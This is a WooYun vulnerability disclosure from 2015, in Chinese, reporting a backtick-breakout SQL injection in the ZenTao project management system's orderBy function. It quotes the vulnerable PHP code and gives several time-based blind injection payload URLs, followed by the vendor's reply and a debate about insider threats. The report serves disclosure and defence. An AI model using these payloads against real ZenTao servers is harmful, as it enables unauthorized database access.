当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0150967

漏洞标题:禅道系统设计缺陷导致多处鸡肋注入

相关厂商:禅道

漏洞作者: 不能忍

提交时间:2015-11-04 11:08

修复时间:2015-12-17 14:48

公开时间:2015-12-17 14:48

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-04: 细节已通知厂商并且等待厂商处理中
2015-11-04: 厂商已经确认,细节仅向厂商公开
2015-11-07: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-29: 细节向核心白帽子及相关领域专家公开
2016-01-08: 细节向普通白帽子公开
2016-01-18: 细节向实习白帽子公开
2015-12-17: 细节向公众公开

简要描述:

主要还是过滤的问题没办法过。所以最后就只能鸡肋了

详细说明:

漏洞文件:/zentaopms/lib/dao/dao.class.php //1612行

public function orderBy($order)
{
if($this->inCondition and !$this->conditionIsTrue) return $this;
$order = str_replace(array('|', '', '_'), ' ', $order);
/* Add "`" in order string. */
/* When order has limit string. */
$pos = stripos($order, 'limit');
$orders = $pos ? substr($order, 0, $pos) : $order;
$limit = $pos ? substr($order, $pos) : '';
$orders = explode(',', $orders);
foreach($orders as $i => $order)
{
$orderParse = explode(' ', trim($order));
foreach($orderParse as $key => $value)
{
$value = trim($value);
if(empty($value) or strtolower($value) == 'desc' or strtolower($value) == 'asc') continue;
$field = trim($value, '`');
/* such as t1.id field. */
if(strpos($value, '.') !== false) list($table, $field) = explode('.', $field);
$field = "`$field`";
$orderParse[$key] = isset($table) ? $table . '.' . $field : $field;
unset($table);
}
$orders[$i] = join(' ', $orderParse);
}
$order = join(',', $orders) . ' ' . $limit;
$this->sql .= ' ' . DAO::ORDERBY . " $order";
return $this;
}


先来分析一下这个函数:$order = str_replace(array('|', '', '_'), ' ', $order);
去掉这三个,然后接下来有3个exploded,分别对,.和空格进行分割。
最后$this->sql .= ' ' . DAO::ORDERBY . " $order";这里是用`(反引号)进行分割和闭合用户提交过来的数据。但是并没有对反引号进行过滤,所以我们可以大概构造一个payload:
http://localhost/www/project-bug-build-id`and(SELECT(1)FROM(SELECT(SLEEP(6)))test)and(1=1)and`.html
但是同时这边是有个问题的,就是不能提交_所以没有办法提取到表的数据,这么一来这个设计缺陷的sql注入就显得鸡肋了,当然有root权限的话还是威胁很大的。
来看看调用这个函数的情况:

1.jpg


60多处,也就是说这个设计缺陷可能导致60多处的sql注入,虽然这个注入比较鸡肋,但是还是存在一定的威胁的。
随便来两个payload:
http://localhost/www/project-browse-2-unclosed-0-id`and(SELECT(1)FROM(SELECT(SLEEP(6)))test)and(1=1)and`-0-100.html
http://localhost/www/project-task-2-unclosed-0-id`and(SELECT(1)FROM(SELECT(SLEEP(6)))test)and(1=1)and`-0-100.html

漏洞证明:

http://localhost/www/project-browse-2-unclosed-0-id`and(SELECT(1)FROM(SELECT(SLEEP(6)))test)and(1=1)and`-0-100.html

2.jpg


http://localhost/www/project-task-2-unclosed-0-id`and(SELECT(1)FROM(SELECT(SLEEP(6)))test)and(1=1)and`-0-100.html

3.jpg

修复方案:

版权声明:转载请注明来源 不能忍@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2015-11-04 11:20

厂商回复:

谢谢反馈。禅道作为内部管理系统,我们假设的应用场景都是内网访问,外网的好做好访问的限制。在这个前提下,很多的问题都是可以忽略的。
内部人员的信任都无法解决的话,其实安全也没有办法解决。

最新状态:

2015-11-04:下个版本我们计划在框架层面增加统一的过滤。谢谢反馈。


漏洞评价:

评价

  1. 2015-11-04 12:23 | 专业种田 认证白帽子 ( 核心白帽子 | Rank:1582 漏洞数:178 | 没有最专业的农民,只有更努力地耕耘..........)

    厂商你错了,看一下统计吧,有多少危胁是来自内部。

  2. 2015-11-04 13:19 | 青岛易软天创网络科技有限公司(乌云厂商)

    @专业种田 如果内部员工都是有不怀好意的目的的话,系统做的再安全有什么用?比如弱口令的问题,系统可以强制用户使用强口令,但这样带来的结果是什么?没有人会用你的系统。在安全和使用方面,做何取舍?

  3. 2015-11-04 14:22 | 专业种田 认证白帽子 ( 核心白帽子 | Rank:1582 漏洞数:178 | 没有最专业的农民,只有更努力地耕耘..........)

    @青岛易软天创网络科技有限公司 由一个普通帐号能影响到其他人帐号肯定有问题(像这个sql注入肯定可以吧),如果没有问题,所有内部员工都是服务器超级管理员好了。

  4. 2015-11-04 14:54 | 青岛易软天创网络科技有限公司(乌云厂商)

    @专业种田 我们假定的一个前提是内部员工是可以信任的,不会作恶的。按照你这样推论,公司里面每一个人都有大量的机会可以接触到各种核心的机密,电脑,印章,合同,电脑硬盘都可以拷走。请问你如何对员工的日常的各种行为做限制?如果内部都不信任的话,单个的系统安全做到军工级别,又有何意义?

  5. 2015-11-04 15:11 | 青岛易软天创网络科技有限公司(乌云厂商)

    @专业种田 其实我想和你讨论的是,在普遍的安全意识薄弱的情况下,单个系统的安全意义到底有多大?像我们做开源软件的,其实精力本来就有限。我们也无法在安全方面强制用户使用高级别的的手段。那样的话,我们的产品估计就没有人用了。比如密码,我们可以加盐,做hash,但遇到的问题就是用户忘记密码之后,想自己修改,用户的成本就增加了。在安全和用户使用上,该做何取舍?乌云网这样暴露厂商漏洞,又如何保证不被其他的人利用呢?

  6. 2015-11-04 15:41 | 专业种田 认证白帽子 ( 核心白帽子 | Rank:1582 漏洞数:178 | 没有最专业的农民,只有更努力地耕耘..........)

    @青岛易软天创网络科技有限公司 你说的有些也没有错,我们的立场不一样,我是做企业安全,我们员工、运维每个人分配了权限, 我还得把他监控起来,看他在系统、服务器做了什么操作。

  7. 2015-11-04 16:26 | 青岛易软天创网络科技有限公司(乌云厂商)

    @专业种田 :),都要花钱啊。还是要感谢乌云网帮我们做代码审计的白帽子。